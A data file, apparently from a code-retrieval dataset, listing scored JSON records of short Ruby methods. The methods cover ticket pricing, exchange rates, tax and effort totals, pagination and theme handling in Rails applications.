"text": "def total_price(tickets, currency)\n total = Money.new(0, currency)\n product = scheduled_tour.product\n tickets.each do |t|\n price_description_id, quantity = t[0].to_i, t[1].to_i\n\n if quantity != 0\n price_description = product.price_description(price_description_id)\n price = price_description.monetized_price_by_currency(currency)\n\n partial = price * quantity\n total = total + partial\n end\n end\n total\n end",
"title": ""
},
{
"docid": "27fbab710a715da293368855aa1da7d0",
"score": "0.5558904",
"text": "def get_update_rate\n @update_rate\n end",
"title": ""
},
{
"docid": "895f682fa0021ee713ff66a709580b07",
"score": "0.55565387",
"text": "def conv_exchange_rate\n currency_exchange.exchange_rate\n end",
"title": ""
},
{
"docid": "d149adcd381e3fd54fb84e1170757a87",
"score": "0.55552286",
"text": "def get_all_rates_and_base!\n data = JSON.parse open(\"https://openexchangerates.org/api/latest.json?app_id=#{ENV['FOREX_API_KEY']}\").read\n data.deep_symbolize_keys!\n\n self.status = status_success?(data)\n if self.status\n self.all_rates= data[:rates]\n self.base= data[:base]\n end\n\n self.status\n\n end",
"title": ""
},
{
"docid": "f7dba572ea6c6b04fa62d0e9b38607c8",
"score": "0.55491436",
"text": "def price_ticket\n\t\t#The count starts with the base price\n\t\tprice_ticket = @price\n\t\t#Add each milkshake's price\n\t\t@milkshakes.each do |milkshake|\n\t\t\tprice_ticket += milkshake.price_milkshake\n\t\tend\n\t\t#Make the function return the price\n\t\tprice_ticket\n\tend",
"title": ""
},
{
"docid": "77c86494d3775120c132affe06164adf",
"score": "0.5537459",
"text": "def bookmakers_return_rate\n fs = fractions\n 1 - fs.reduce(:*) / fs.reduce(:+) if fs.any?\n end",
"title": ""
},
{
"docid": "349be74fd45955d1bd4f8df959dfd2a2",
"score": "0.55366284",
"text": "def index\n @ticket_requests = TicketRequest\n .includes({ event: [:price_rules] }, :payment, :user)\n .where(event_id: @event)\n .order('created_at DESC')\n .to_a\n\n @stats = %i[pending awaiting_payment completed].reduce({}) do |stats, status|\n requests = @ticket_requests.select { |tr| tr.send(status.to_s + '?') }\n\n stats[status] = {\n requests: requests.count,\n adults: requests.sum(&:adults),\n kids: requests.sum(&:kids),\n cabins: requests.sum(&:cabins),\n raised: requests.sum(&:price),\n }\n\n stats\n end\n\n @stats[:total] ||= Hash.new { |h, k| h[k] = 0 }\n %i[requests adults kids cabins raised].each do |measure|\n %i[pending awaiting_payment completed].each do |status|\n @stats[:total][measure] += @stats[status][measure]\n end\n end\n end",
"title": ""
},
{
"docid": "267ed51509a96bf4cddad51a4d61a2ae",
"score": "0.5524991",
"text": "def logged_effort\n logged_effort = 0\n self.effort_logs.each do |log|\n logged_effort = logged_effort + log.logged_effort\n end\n logged_effort\n end",
"title": ""
},
{
"docid": "3f4f72707790bc19567f8db0632e1f94",
"score": "0.55212516",
"text": "def hp_rate\n @actor_data[4].to_f / @actor_data[5]\n end",
"title": ""
},
{
"docid": "900be1de01bd0a327f7110413cf7a971",
"score": "0.55180484",
"text": "def set_prices\n if self.influencer\n self.tweet_fee = influencer.tweet_fee\n self.cpc_fee = influencer.cpc_fee\n self.influencer_tweet_fee = influencer.influencer_tweet_fee\n self.influencer_cpc_fee = influencer.influencer_cpc_fee\n end\n end",
"title": ""
},
{
"docid": "371c49b24dfa8863c3ae0be692084aca",
"score": "0.55110145",
"text": "def get_rate(rtcm, date, property_channel)\n result = 0.0\n master_rate_channel_mapping = RoomTypeMasterRateChannelMapping.pool_id(property_channel.pool_id).find_by_room_type_id_and_channel_id(rtcm.room_type_id, channel.id)\n\n # if master rate mapping exist then get master rate\n if !master_rate_channel_mapping.blank?\n master_rate_map = master_rate_channel_mapping.master_rate_mapping\n\n master_rate = MasterRate.find_by_date_and_property_id_and_pool_id_and_room_type_id(date, master_rate_map.room_type.property.id, master_rate_map.pool_id, master_rate_map.room_type_id)\n result = master_rate_channel_mapping.apply_value(master_rate.amount) if !master_rate.blank?\n # if not using master rate\n else\n channel_rate = ChannelRate.find_by_date_and_property_id_and_pool_id_and_room_type_id_and_channel_id(date, property_channel.property_id, property_channel.pool_id, rtcm.room_type_id, channel.id)\n result = channel_rate.amount if !channel_rate.blank?\n end\n result\n end",
"title": ""
},
{
"docid": "4f46af2409797ad79de9fa53e0e2b6b1",
"score": "0.5501096",
"text": "def buy_ticket()\n film_info = self.films()\n film_price = film_info.map{|film| film.price}\n combined_film_price = film_price.sum\n customer_funds = @funds\n customer_balance = customer_funds -= film_price.sum\n return customer_balance\nend",
"title": ""
},
{
"docid": "0228a50495638ae2259ea2c25b45e20b",
"score": "0.549936",
"text": "def total_money_lost_in_expired_drugs(ibatches)\n amount = 0\n ibatches.each do |ib|\n next if ib.units == 0 or ib.expired.blank?\n amount += rate_per_unit(ib.batch) * ib.units\n end\n \"%.2f\" % amount\n end",
"title": ""
},
{
"docid": "cd07145043c4ef71a861cefc55d9f652",
"score": "0.54863113",
"text": "def base_rate\n super\n end",
"title": ""
},
{
"docid": "4150ec8b33af4310a64c8d77eb17dda6",
"score": "0.54766774",
"text": "def room_rate_description\n if @rate_change\n \"rate changes during the dates requested and the single nightly rate displayed is the highest nightly rate of the dates requested without taxes and fees.\"\n else\n \"highest single night rate during the dates selected without taxes or fees\"\n end\n end",
"title": ""
},
{
"docid": "c4a8e73f6c13516d337eface138b7bf4",
"score": "0.5463985",
"text": "def exchange_rates(build_tag:)\n case build_tag\n when latest_build_tag\n @latest_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n when latest_build_tag - 1\n @second_last_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n when latest_build_tag - 2\n @third_last_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n when latest_build_tag - 3\n @fourth_last_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n else\n Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n end\n end",
"title": ""
},
{
"docid": "2d90cc04872eb6abc84f5f905868b634",
"score": "0.54588526",
"text": "def rates\n @samples.reduce([]) do |acc, (key, _)|\n acc << @samples[key].reduce(:+)\n end\n end",
"title": ""
},
{
"docid": "dcbe31a2cd8d540759727b79058b8ee8",
"score": "0.5452767",
"text": "def toll_numbers\n return @toll_numbers\n end",
"title": ""
},
{
"docid": "6dd11e01ef3a4b15537792f9267107f0",
"score": "0.5445313",
"text": "def update_rate\n @update_rate\n end",
"title": ""
},
{
"docid": "ea541c29392571a2c4451d6ca2cd5778",
"score": "0.5444342",
"text": "def rates\n store.each_rate.each_with_object({}) do |(from,to,rate),hash|\n hash[[from, to].join(SERIALIZER_SEPARATOR)] = rate\n end\n end",
"title": ""
},
{
"docid": "4e8bbcb3bed9735f857193b213511ef0",
"score": "0.5422686",
"text": "def total_actual_effort\n self.effort_logs.inject(0){|sum, ef| sum + ef.effort}\n end",
"title": ""
},
{
"docid": "bbefa4b066a561935601ab041b5fd2c6",
"score": "0.5418701",
"text": "def total_costs(date=Date.today, factor=1)\n sum = 0\n hours = self.hours.where(\"date <= ?\", date) \n for hour in hours\n sum += (hour.amount * hour.user.hourly_rate) * factor\n end\n sum.to_f\n end",
"title": ""
},
{
"docid": "ff43350c9583b36043ddafcb1cb85917",
"score": "0.5416277",
"text": "def custom_rates\n @page_title = _('Custom_rates')\n @page_icon = \"coins.png\"\n\n @tariff = @user.tariff\n @crates = @user.customrates\n udestgroups = Destinationgroup.select(\"destinationgroups.id\").\n joins(\"LEFT JOIN customrates ON customrates.destinationgroup_id = destinationgroups.id \" <<\n \"LEFT JOIN users ON customrates.user_id = users.id\").\n where(\"user_id = #{@user.id}\").order(\"destinationgroups.name\")\n\n udg = []\n udestgroups.each { |i|\n udg << i[\"id\"].to_i\n }\n\n @destgroups = []\n Destinationgroup.order(:name).each { |dg|\n @destgroups << dg unless udg.include?(dg.id)\n }\n\n @acc_finances = (accountant? ? session[:acc_see_financial_data].to_i : 2)\n @acc_manage_tariff = (accountant? ? session[:acc_tariff_manage].to_i : 2)\n @acc_tariff = (accountant? ? session[:acc_user_create_opt_4].to_i : 2)\n\n end",
"title": ""
},
{
"docid": "2fdf6079f86776ceb741b461ebeed30a",
"score": "0.54141486",
"text": "def interestRate \n # easy variables to use\n firstTrans = self.transactions[0].sum\n secondTrans = self.transactions[1].sum\n\n # finding which set of transactions are greater\n if firstTrans > secondTrans\n # subtract the smaller trans\n diff = firstTrans - secondTrans\n\n # return the interest rate needed to return to zero\n return (diff * 1.0)/secondTrans\n elsif firstTrans < secondTrans \n # subtract the smaller trans\n diff = secondTrans - firstTrans\n\n # return the interest rate needed to return to zero\n return (diff * 1.0)/firstTrans\n else\n return 0\n end\n end",
"title": ""
},
{
"docid": "a360dc4e269d3b5506c91b29e05316db",
"score": "0.5407452",
"text": "def rate!\n check_rateable\n transaction do\n get_old_ratings\n get_k_factors\n icut = calculate_ratings\n update_player_ratings(icut)\n update_tournament_after_rating\n end\n end",
"title": ""
},
{
"docid": "8e9b8b3392ffb1d17c9db51d1582b28a",
"score": "0.540364",
"text": "def tax rate\n n = ((rate * @price / 100.0) / 0.05).ceil\n (n * 0.05).round(2)\n end",
"title": ""
},
{
"docid": "f93b2c60fdc67d6dc7e286a016fbc672",
"score": "0.5403261",
"text": "def vampire_rate; 0; end",
"title": ""
},
{
"docid": "13a14c3a6e5faec5a151f74356fb58cd",
"score": "0.54031205",
"text": "def total\n @base+@karma\n end",
"title": ""
},
{
"docid": "c71a13d6534b7f3e49d77cc88818ea38",
"score": "0.5397541",
"text": "def report()\n @last_tally_sum\n end",
"title": ""
},
{
"docid": "c71a13d6534b7f3e49d77cc88818ea38",
"score": "0.5397541",
"text": "def report()\n @last_tally_sum\n end",
"title": ""
},
{
"docid": "0035b0744ba1a9955a48d9ba50b6c71a",
"score": "0.5396523",
"text": "def set_tickets_stats\n # gather stats\n @tickets_count = @tickets.count\n @pending_tickets_count = @tickets.pending.count\n @assigned_tickets_count = @tickets.assigned.count\n @resolved_tickets_count = @tickets.resolved.count\n\n @month_tickets_count = @tickets.months_ago(1).count\n @quarter_tickets_count = @tickets.months_ago(3).count\n end",
"title": ""
},
{
"docid": "9464b6f29119a782af28418d5794f4cd",
"score": "0.5396235",
"text": "def tax_report\n date, end_date = get_date_params\n @charges = Charge.taxable.created_after(date).created_before(end_date)\n\n @charges_count = @charges.length\n @subtotal_sum = @charges.inject(0) {|sum, charge| sum + charge.subtotal} \n @tax_sum = @charges.inject(0) {|sum, charge| sum + charge.tax_charge} \n @total_sum = @charges.inject(0) {|sum, charge| sum + charge.amount} \n\n end",
"title": ""
},
{
"docid": "375401e0dd2e92ce2a730f4a897c8bb6",
"score": "0.53952086",
"text": "def tax_rate\n brought_item.try(:tax_rate) || 0\n end",
"title": ""
},
{
"docid": "73d3b73411862fd09248d0864c274578",
"score": "0.53907907",
"text": "def total_logged_effort\n self.effort_logs.inject (0){|sum, ef| sum + ef.effort}\n end",
"title": ""
},
{
"docid": "5b8f8617d7dc12bd5d3a742c8e51c340",
"score": "0.5388628",
"text": "def conv_exchange_rate\n currency_exchange.exchange_rate\n end",
"title": ""
},
{
"docid": "486e29f921c11a73ea0fcfd1a1766c32",
"score": "0.5387224",
"text": "def rates\n result =[]\n DEFAULT_TYPES.each do |type|\n result << calculate_rate_from(type[:from], type[:to])\n end\n result\n end",
"title": ""
},
{
"docid": "79f47bdb17049cf7c1b244bc87a44f6e",
"score": "0.53845024",
"text": "def new_response_rate_in_percent\n\n end",
"title": ""
},
{
"docid": "9bb505c7adfda24414d4b61d213aa492",
"score": "0.53804624",
"text": "def calc_ticket_price(price, infant_response, luggage_response, return_response, passenger_quanity)\n total_price = travelling_with_infant(price, infant_response) + heavy_luggage_calc(price, luggage_response) + return_calc(price, return_response) + (passenger_quanity * price)\n return total_price\n # return travelling_with_infant(price, infant_response), heavy_luggage_calc(price, luggage_response), return_calc(price, return_response), (passenger_quanity * price)\nend",
"title": ""
},
{
"docid": "30c138c23f951e2416aad0b0bf4f12ca",
"score": "0.5380387",
"text": "def totals\n ret_hash = {}\n sum_hash = VBADocuments::UploadSubmission::RPT_STATUSES.index_with { |_v| 0; }\n\n @consumers.each do |name|\n counts = VBADocuments::UploadSubmission.where(created_at: @from..@to, consumer_name: name).group(:status).count\n totals = counts.sum { |_k, v| v }\n error_rate = counts['error'] ? (100.0 / totals * counts['error']).round : 0\n expired_rate = counts['expired'] ? (100.0 / totals * counts['expired']).round : 0\n\n # sum the count of success and vbms statuses for the period\n success_count = (counts['success'] || 0) + (counts['vbms'] || 0)\n success_rate = success_count.positive? ? (100.0 / totals * success_count).round : 0\n\n if totals.positive?\n ret_hash[name] = counts.merge('totals': totals,\n success_rate: \"#{success_rate}%\",\n error_rate: \"#{error_rate}%\",\n expired_rate: \"#{expired_rate}%\")\n\n # add the consumer counts to the summary hash for the given status\n counts.each_key do |k|\n sum_hash[k] += counts[k]\n end\n end\n end\n\n # get the summary total and calculate the percentages for the summary row\n sum_total = sum_hash.sum { |_k, v| v }\n\n if sum_total.positive?\n error_rate = \"#{(100.0 / sum_total * sum_hash['error']).round}%\"\n expired_rate = \"#{(100.0 / sum_total * sum_hash['expired']).round}%\"\n\n # sum the count of success and vbms statuses for the period\n success_count = sum_hash['success'] + sum_hash['vbms']\n success_rate = \"#{(success_count.positive? ? (100.0 / sum_total * success_count).round : 0)}%\"\n sum_hash['total'] = sum_total\n sum_hash['success_rate'] = success_rate\n sum_hash['error_rate'] = error_rate\n sum_hash['expired_rate'] = expired_rate\n else\n # report returned no rows for the given time frame so report zeros\n sum_hash['total'] = 0\n sum_hash['success_rate'] = '0%'\n sum_hash['error_rate'] = '0%'\n sum_hash['expired_rate'] = '0%'\n end\n\n # add the summary hash\n ret_hash['summary'] = sum_hash\n ret_hash\n end",
"title": ""
},
{
"docid": "4127412c28ad37f1d6a7b69562e0c1c9",
"score": "0.5375986",
"text": "def is_ticket_rate\n # return @rate.is_ticket_rate?\n return @rate.is_ticket_rate?\n end",
"title": ""
},
{
"docid": "232eb5f2a089006e7b794e1198f3b969",
"score": "0.5366751",
"text": "def ticket_fees_in_cents\n line_items.by_ticket.reduce(0) do |memo, item|\n fee = item.entity.fee_for_amount_in_cents(item.entity.price_for_level_in_cents(item.options[:price_level]) - item.discount_total)\n memo += fee * (item.quantity || 1)\n end\n end",
"title": ""
},
{
"docid": "c395eed626491f68556890bb7c07b051",
"score": "0.53609526",
"text": "def plan_tax_rates\n {}\n end",
"title": ""
},
{
"docid": "1c3992118995901ed932a62a5b5aa321",
"score": "0.53577197",
"text": "def rates(options)\n self.class.bridge.hotel_details(hotel_property[:hotel_chain],\n hotel_property[:hotel_code],\n options).try(:hotel_rate_details) || []\n end",
"title": ""
},
{
"docid": "ec18f4b66a63034269370c638d5e5f05",
"score": "0.535532",
"text": "def update_ticket_counters\n # Get the counter_log of this request\n counterLogObj = self.counter_log\n\t\t\n # Get the new value for this request\n newCounterValue = 0\n counterBase = CounterBaseValue.first(\n\t\t:conditions => [\"complexity = ? and sdp_iteration = ? and workpackage = ?\",self.complexity,self.sdpiteration,self.work_package])\n\t\tif counterBase\n\t\t newCounterValue = counterBase.value\n end\n \n\t\t# Create new counter_log \n\t\tif (!counterLogObj) \n\t counterLogObj = CounterLog.new\n\t counterLogObj.request_id = self.id\n\t counterLogObj.import_date = DateTime.current\n\t counterLogObj.counter_value = newCounterValue\n\t # Update counter_log\n\t\telsif(counterLogObj.counter_value != newCounterValue)\n\t\t\t counterLogObj.counter_value = newCounterValue\n\t\tend\n\t\t\n blacklist_status = [\"to be validated\",\"removed\",\"cancelled\",\"feedback\",\"acknowledged\",\"contre_visite\"]\n blacklist_resolution = [\"not started\", \"planned\"]\n\t\t# if self.status == \"to be validated\" or self.status == \"removed\" or self.status == \"cancelled\" or self.status == \"feedback\" or self.status == \"acknowledged\" or self.status == \"contre_visite\" or self.resolution.to_s == \"not started\" or self.resolution.to_s == \"planned\"\n\t\tif blacklist_resolution.to_s.include?(self.resolution) or blacklist_status.to_s.include?(self.status)\n counterLogObj.validity = false\n\t\telse\n\t\t counterLogObj.validity = true\n\t\tend\n\t\tcounterLogObj.save\n end",
"title": ""
},
{
"docid": "2d9febe06b063550d6f4be81d7dbaa77",
"score": "0.5344673",
"text": "def benchmarkedcosts\n benchmark_rate = benchmark_rate_for(@service_ref.gsub('.', '')).to_f\n benchmark_rate * @uom_vol\n end",
"title": ""
},
{
"docid": "d1594b07111996d11979189c2340486d",
"score": "0.5344127",
"text": "def tradein\n total = 0.75 * self.price\n @addons.each { |a| total += 0.85 * a.price }\n self.all_weapons.each { |w| total += 0.85 * w.price }\n self.non_mission_cargo.each { |c| total += (c.amount * c.average_price) }\n return total\n end",
"title": ""
},
{
"docid": "6c7adc58b33fe651e74bc92e460e51d1",
"score": "0.5340469",
"text": "def calc_tip(bill, rate)\n bill * (rate/100)\nend",
"title": ""
}
] |
b6c67800260d8c9c143ccdfde9779aa3 | Sets twitterbootstrap theme as default for pagination. | [
{
"docid": "37c76853126dab4fa51b1aebd5950afa",
"score": "0.60457426",
"text": "def paginate(objects, options = {})\n options.reverse_merge!(theme: 'twitter-bootstrap-3')\n super(objects, options)\n end",
"title": ""
}
] | [
{
"docid": "c47d06e90e9ea218a668c7ada54b2b31",
"score": "0.6103766",
"text": "def default_theme\n nil\n end",
"title": ""
},
{
"docid": "ea4cdb5bcfd4ebfede4ec1a7fd7cccc1",
"score": "0.5542662",
"text": "def theme\n options.fetch(:theme, nil)\n end",
"title": ""
},
{
"docid": "846a7fbe0c01d954ad44e581ad6eda40",
"score": "0.54747283",
"text": "def theme\n @theme || 'plastik'\n end",
"title": ""
},
{
"docid": "92e5f9ead660573588b3bf2a0265523d",
"score": "0.5462598",
"text": "def paginate(collection , options = {})\n #options = options.merge defaults\n options[:renderer] = BootstrapPagination::Rails\n will_paginate collection, options\n end",
"title": ""
},
{
"docid": "f615a3f401f1ab27bf1e21612bfcf17d",
"score": "0.539885",
"text": "def paginator_klass\n \"#{JSONAPI.configuration.default_paginator}_paginator\".classify.constantize\n end",
"title": ""
},
{
"docid": "857af30463af79cff3a11b9d6e3fa951",
"score": "0.5371993",
"text": "def paginate(objects, options = {})\n options.reverse_merge!( theme: 'twitter-bootstrap-3' )\n\n content_tag :div, class: 'pagination-wrap' do\n super( objects, options )\n end\n end",
"title": ""
},
{
"docid": "85194fec71a04efa15b22822f4427d30",
"score": "0.5315628",
"text": "def theme=(value)\n @theme = value\n end",
"title": ""
},
{
"docid": "f83e8d21029f0d0428c109042d2b51ed",
"score": "0.5291233",
"text": "def reset_themes\n @theme_options = {}\n end",
"title": ""
},
{
"docid": "d3791149b18e5da8868f31330c112a23",
"score": "0.5277114",
"text": "def use_default_style!\n @use_default_style = true\n end",
"title": ""
},
{
"docid": "d3484d38eeb509df2f353c0a3c5f2ba9",
"score": "0.52738583",
"text": "def paginates_per(val)\n @_default_per_page = val\n end",
"title": ""
},
{
"docid": "bff1879264c3de7e62f005f401ae3185",
"score": "0.51537484",
"text": "def switch_theme(stylesheet)\n # TS_INFO: Manage themes not implemented\n end",
"title": ""
},
{
"docid": "04cbf3afc6d5fd253ff326fdf43e187d",
"score": "0.5145286",
"text": "def set_theme\n @theme = params[:id].to_i.zero? ? Theme.new : Theme.find(params[:id])\n end",
"title": ""
},
{
"docid": "3b3c93f021e6c537f97a87802ada2e16",
"score": "0.5131846",
"text": "def set_theme\n # @theme = Theme.find(params[:id])\n @theme = Theme.current_theme\n end",
"title": ""
},
{
"docid": "fd4da28a9cf9d0e8eac52477c32e2b5e",
"score": "0.51185787",
"text": "def default_per_page(count)\n before do\n @current_default_per_page = Kaminari.config.default_per_page\n Kaminari.config.default_per_page = 1\n end\n\n after do\n Kaminari.config.default_per_page = @current_default_per_page\n end\n end",
"title": ""
},
{
"docid": "20892f745bc35726dbe2719b851a31c8",
"score": "0.5118308",
"text": "def default_page\n current_api.current_page ? current_api.current_page : FIRST_PAGE\n end",
"title": ""
},
{
"docid": "fabf11ea02d5f8c9c6a870d34a8c2e38",
"score": "0.51160806",
"text": "def initialize(theme = nil)\n @current_theme = theme\n end",
"title": ""
},
{
"docid": "4b942bbbaf509554b23fbdf9e565dce0",
"score": "0.5095639",
"text": "def will_paginate(collection_or_options = nil, options = {})\n if collection_or_options.is_a? Hash\n options, collection_or_options = collection_or_options, nil\n end\n unless options[:renderer]\n options = options.merge :renderer => BootstrapPagination::Rails\n end\n super *[collection_or_options, options].compact\n end",
"title": ""
},
{
"docid": "4b942bbbaf509554b23fbdf9e565dce0",
"score": "0.5095639",
"text": "def will_paginate(collection_or_options = nil, options = {})\n if collection_or_options.is_a? Hash\n options, collection_or_options = collection_or_options, nil\n end\n unless options[:renderer]\n options = options.merge :renderer => BootstrapPagination::Rails\n end\n super *[collection_or_options, options].compact\n end",
"title": ""
},
{
"docid": "f58d4177e16768652b2c0935e5fa8d69",
"score": "0.5073765",
"text": "def default_layout\n site.config.page_layout\n end",
"title": ""
},
{
"docid": "f5e9a943598b9faf54f40e5da31c8a7d",
"score": "0.5051798",
"text": "def default_per_page\n @_default_per_page || Kaminari.config.default_per_page\n end",
"title": ""
},
{
"docid": "6ae008f0118246cc1ebeb16402ff5753",
"score": "0.5014385",
"text": "def per_page_default\n if @site\n ( @site.try(:per_page_default) ||\n Site.columns_hash['per_page_default'].try(:default)).to_i\n else\n current_settings.per_page_default.try(:to_i)\n end\n end",
"title": ""
},
{
"docid": "bb42d97596c3b1afb5715abd2983cf43",
"score": "0.49687588",
"text": "def set_current_page\n @current_page = params[:page] || 1\n end",
"title": ""
},
{
"docid": "e72557e5668aa4e9b524fd38a2b47cf0",
"score": "0.49646887",
"text": "def pagination_setup(paginator: ManifestItem::Paginator, **opt)\n # noinspection RubyMismatchedReturnType\n super\n end",
"title": ""
},
{
"docid": "313f440ab39d9ce40c53bab9c277adba",
"score": "0.49638924",
"text": "def index\n set_page_title_for 'home'\n @page = (request.params[:page] || 1).to_i\n\n offset = (@page - 1) * PAGE_SIZE\n\n @count = Theme.perfect.count\n\n @previous = if @page == 2\n themes_path\n else\n themes_path(page: @page - 1)\n end\n\n @next = if offset + PAGE_SIZE >= @count\n nil\n else\n themes_path(page: @page + 1)\n end\n\n @themes = Theme\n .perfect\n .offset(offset)\n .limit(PAGE_SIZE)\n .order(version: :desc)\n end",
"title": ""
},
{
"docid": "a8fb179cba5a17ec8a125a94f278b49e",
"score": "0.49634886",
"text": "def pagination_setup(paginator: User::Paginator, **opt)\n # noinspection RubyMismatchedReturnType\n super\n end",
"title": ""
},
{
"docid": "2842975e4e1986ebf3f1a2f154ac4840",
"score": "0.49396965",
"text": "def theme; end",
"title": ""
},
{
"docid": "2842975e4e1986ebf3f1a2f154ac4840",
"score": "0.49396965",
"text": "def theme; end",
"title": ""
},
{
"docid": "2842975e4e1986ebf3f1a2f154ac4840",
"score": "0.49396965",
"text": "def theme; end",
"title": ""
},
{
"docid": "7419adf27a40488629753cce261cb1ae",
"score": "0.49379957",
"text": "def set_theme\n @theme = Theme.find(params[:id])\n end",
"title": ""
},
{
"docid": "7419adf27a40488629753cce261cb1ae",
"score": "0.49379957",
"text": "def set_theme\n @theme = Theme.find(params[:id])\n end",
"title": ""
},
{
"docid": "0bfa9126037aca846e255d10ab55d787",
"score": "0.49224842",
"text": "def default_per_page\n (defined?(@_default_per_page) && @_default_per_page) || Cursorica.config.default_per_page\n end",
"title": ""
},
{
"docid": "fa268d7d9b3fd7d18c8f56421e27754f",
"score": "0.49011818",
"text": "def initialize(site, base, tag)\n layout = site.config['paginate_tag_layout'] || 'tag.html'\n super(site, base, '_layouts', layout)\n process('index.html')\n\n # Get the tag into layout using page.tag\n @tag = tag\n end",
"title": ""
},
{
"docid": "0b051fafe7fff5598d641b2596d5888b",
"score": "0.4881983",
"text": "def color_themes # :nologin:\n end",
"title": ""
},
{
"docid": "482dca8cd64271e7383d17004f2045ab",
"score": "0.48418656",
"text": "def set_default_format\n @default_format=\"pdf\"\n end",
"title": ""
},
{
"docid": "21732f5d3eb4c5d3af4c4db0ac5e5a34",
"score": "0.48247212",
"text": "def set_layout\n params[:action] == 'index' ? 'admin' : (params[:layout] || 'realestate')\n end",
"title": ""
},
{
"docid": "ad368e4ef9a00c0caa2f418418948c0e",
"score": "0.48182446",
"text": "def index\n @organization_themes = if current_manager\n current_manager.organization.organization_theme\n else\n OrganizationTheme.newest_first.per_page(params[:page])\n end\n end",
"title": ""
},
{
"docid": "4d732a02f3c3d898f98fad95ef1985c2",
"score": "0.4810363",
"text": "def get_theme\n\t\tif @current_user and @current_user.theme\n\t\t\t@current_theme = @current_user.theme.css_class\n\t\telse\n\t\t\t@current_theme = \"pond\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fe33c9e75f0c40bde4e09dbc289e3689",
"score": "0.47839886",
"text": "def setup_pager!\n page\n end",
"title": ""
},
{
"docid": "24e555005ce9aad765c4fcc13201b0e4",
"score": "0.477435",
"text": "def will_paginate(collection_or_options = nil, options = {})\n if collection_or_options.is_a? Hash\n options, collection_or_options = collection_or_options, nil\n end\n unless options[:renderer]\n options = options.merge :renderer => WillPaginateHelper::BootstrapLinkRenderer\n end\n super *[collection_or_options, options].compact\n end",
"title": ""
},
{
"docid": "8d1dac9992d66608e3d517733d789a07",
"score": "0.47743258",
"text": "def set_default\n end",
"title": ""
},
{
"docid": "570bd5ec02699723c4bd783df6435de1",
"score": "0.4766213",
"text": "def theme\n @theme\n end",
"title": ""
},
{
"docid": "1e02104c10554d4c58da456370eb5faf",
"score": "0.47470355",
"text": "def set_theme\n @theme = Theme.find_by(name: params[:name])\n end",
"title": ""
},
{
"docid": "2500ea6daec296dc82c64954e1aa9f1b",
"score": "0.47436896",
"text": "def set_layout\n if current_paciente != nil\n \"pacientes_pages\"\n else\n \"nutriologo_pages\"\n end\n end",
"title": ""
},
{
"docid": "7190e02c9acd87396b0527717b1278ca",
"score": "0.47146088",
"text": "def default_layout\n 'default' if html?\n end",
"title": ""
},
{
"docid": "d5a067ea2dbf5668f18b4d67c32d6f3e",
"score": "0.47104952",
"text": "def set_pagination\n set_params_page\n @updates = @updates.paginate(:page => params[:page], :per_page => params[:per_page], :order => :created_at.desc)\n set_pagination_buttons(@updates)\n end",
"title": ""
},
{
"docid": "f419c93c66fdd82969880eb75c6a471d",
"score": "0.4699066",
"text": "def defaults\n { :per_page => 50, :max_per_page => 100 }\n end",
"title": ""
},
{
"docid": "f091927118a5eaa5ee505dc4ca2e10ac",
"score": "0.46800572",
"text": "def set_layout\n if %w( print plain ).include? params[:layout]\n params[:layout]\n else\n 'default'\n end\n end",
"title": ""
},
{
"docid": "7a18fb1b9657e65dea04904766d635a2",
"score": "0.4675259",
"text": "def pagy_nav_bootstrap(pagy, opts=nil)\n opts = opts ? pagy.opts.merge(opts) : pagy.opts\n link = pagy_link_proc(pagy, 'class=\"page-link\"'.freeze)\n tags = []\n\n tags << (pagy.prev ? %(<li class=\"page-item prev\">#{link.call pagy.prev, pagy_t('pagy.nav.prev'.freeze), 'aria-label=\"previous\"'.freeze}</li>)\n : %(<li class=\"page-item prev disabled\"><a href=\"#\" class=\"page-link\">#{pagy_t('pagy.nav.prev'.freeze)}</a></li>))\n pagy.series.each do |item| # series example: [1, :gap, 7, 8, \"9\", 10, 11, :gap, 36]\n tags << case item\n when Integer; %(<li class=\"page-item\">#{link.call item}</li>) # page link\n when String ; %(<li class=\"page-item active\">#{link.call item}</li>) # active page\n when :gap ; %(<li class=\"page-item gap disabled\"><a href=\"#\" class=\"page-link\">#{pagy_t('pagy.nav.gap'.freeze)}</a></li>) # page gap\n end\n end\n tags << (pagy.next ? %(<li class=\"page-item next\">#{link.call pagy.next, pagy_t('pagy.nav.next'.freeze), 'aria-label=\"next\"'.freeze}</li>)\n : %(<li class=\"page-item next disabled\"><a href=\"#\" class=\"page-link\">#{pagy_t('pagy.nav.next'.freeze)}</a></li>))\n %(<nav class=\"#{opts[:class]||'pagination'.freeze}\" role=\"navigation\" aria-label=\"pager\"><ul class=\"pagination\">#{tags.join}</ul></nav>)\n end",
"title": ""
},
{
"docid": "eac6ea2fdf2eaab679a7718053caaa79",
"score": "0.46662432",
"text": "def set_organization_theme\n @organization_theme = if current_manager\n current_manager.organization.organization_theme\n else\n OrganizationTheme.find(params[:id])\n end\n end",
"title": ""
},
{
"docid": "c2c16de06c63e5ee0dc95658c9232b43",
"score": "0.4664661",
"text": "def choose_layout\n Rails.configuration.blog.layout\n end",
"title": ""
},
{
"docid": "d160814a5b585aaf3a5c5ebc4831c033",
"score": "0.46578065",
"text": "def default_template\n @default_template ||= \"application\"\n end",
"title": ""
},
{
"docid": "1ac31896a7e063d7009a84b06de2659a",
"score": "0.46572283",
"text": "def default_per_page\n @_default_per_page || 25\n end",
"title": ""
},
{
"docid": "8f603927d3b2e8ffbfd613f883734990",
"score": "0.4640058",
"text": "def current_theme(passed_theme = nil)\n @current_theme ||= get_current_theme(passed_theme)\n end",
"title": ""
},
{
"docid": "92b9174c6490f6d3feca67bf915a10e4",
"score": "0.46387422",
"text": "def index\n set_page_title_for 'home'\n @page = (request.params[:page] || 1).to_i\n\n redirect_to root_path, notice: t('errors.negative_offset') if @page < 1\n\n offset = (@page - 1) * PAGE_SIZE\n\n @count = Theme.perfect.count\n\n # this logic hurts\n if @page > 1\n @previous = if @page == 2\n themes_path\n else\n themes_path(page: @page - 1)\n end\n end\n\n @next = themes_path(page: @page + 1) unless offset + PAGE_SIZE >= @count\n\n @themes = Theme\n .perfect\n .offset(offset)\n .limit(PAGE_SIZE)\n .order(version: :desc)\n end",
"title": ""
},
{
"docid": "c1d218fb5f147277ed3e1945fd21865d",
